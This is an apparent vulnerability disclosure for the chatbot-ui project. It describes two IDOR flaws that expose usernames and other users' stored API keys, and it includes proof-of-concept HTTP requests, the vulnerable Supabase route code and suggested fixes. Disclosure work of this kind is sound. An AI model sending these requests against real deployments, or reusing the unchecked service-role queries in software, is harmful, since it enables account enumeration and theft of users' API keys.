Security: Insecure Direct Object Reference(IDOR)
Summary
The chatbot-ui application contains two IDOR (Insecure Direct Object Reference) vulnerabilities that allow authenticated users to:
- Username Enumeration: Retrieve any user's username by providing their user ID
- API Key Exfiltration: Retrieve other users' custom model configurations including sensitive API keys
Both vulnerabilities exploit the use of Supabase SERVICE_ROLE_KEY which bypasses Row Level Security (RLS) policies, combined with insufficient authorization checks on user-controlled input.
Impact
Username Enumeration:
- Attackers can enumerate all usernames in the system
- Enables further attacks like social engineering or targeted phishing
API Key Exfiltration:
- Attackers can steal other users' API keys for AI services
- Results in financial loss (attacker uses victim's API quota)
- Potential data breach if API keys provide access to sensitive AI services
- Privacy violation (access to other users' model configurations)
Proof of Concept
Username Enumeration:
// POST /api/username/get
POST /api/username/get HTTP/1.1
Content-Type: application/json
Authorization: Bearer <attacker_token>
{"userId": "target_user_id"}Response reveals the target user's username:
{"username": "victim_username"}API Key Exfiltration:
// POST /api/chat/custom
POST /api/chat/custom HTTP/1.1
Content-Type: application/json
Authorization: Bearer <attacker_token>
{
"chatSettings": {...},
"messages": [...],
"customModelId": "target_users_custom_model_id"
}Response uses the victim's API key, attacker can analyze error messages to extract the key or use the key directly.
Note: This PoC is based on static analysis and has not been dynamically verified.
Affected Component
- Username Enumeration:
app/api/username/get/route.ts
const supabaseAdmin = createClient<Database>(
process.env.NEXT_PUBLIC_SUPABASE_URL!,
process.env.SUPABASE_SERVICE_ROLE_KEY! // Bypasses RLS
)
// Directly queries any user by userId provided by attacker
const { data, error } = await supabaseAdmin
.from("profiles")
.select("username")
.eq("user_id", userId) // Attacker controls userId
.single()- API Key Exfiltration:
app/api/chat/custom/route.ts
const { data: customModel, error } = await supabaseAdmin
.from("models")
.select("*")
.eq("id", customModelId) // Attacker controls customModelId
.single()
// Attacker can access api_key field
const custom = new OpenAI({
apiKey: customModel.api_key || "",
baseURL: customModel.base_url
})Root Cause
- Missing authorization: No check if the requesting user owns the resource
- Service role key usage: Using
SUPABASE_SERVICE_ROLE_KEYbypasses all RLS - User-controlled ID: Direct object references (
userId,customModelId) are not validated - Sensitive data exposure: API keys stored without proper access control
Suggested Fix
Please maintainer evaluate. Suggested mitigations:
- Add ownership validation:
// Username endpoint
const { data: profile } = await supabase
.from("profiles")
.select("username")
.eq("user_id", userId)
.eq("id", currentUser.id) // Only allow access own profile
.single()
// Custom model endpoint
const { data: customModel } = await supabaseAdmin
.from("models")
.select("*")
.eq("id", customModelId)
.eq("user_id", currentUser.id) // Only allow access own models
.single()- Use anon key instead of service role key:
// Use regular Supabase client with RLS
const supabase = createClient(
process.env.NEXT_PUBLIC_SUPABASE_URL!,
process.env.NEXT_PUBLIC_SUPABASE_ANON_KEY!
)API key encryption: Encrypt API keys at rest and only decrypt when needed
Remove sensitive fields from queries: Don't select
api_keyunless necessary
Source: mckaywrigley/chatbot-ui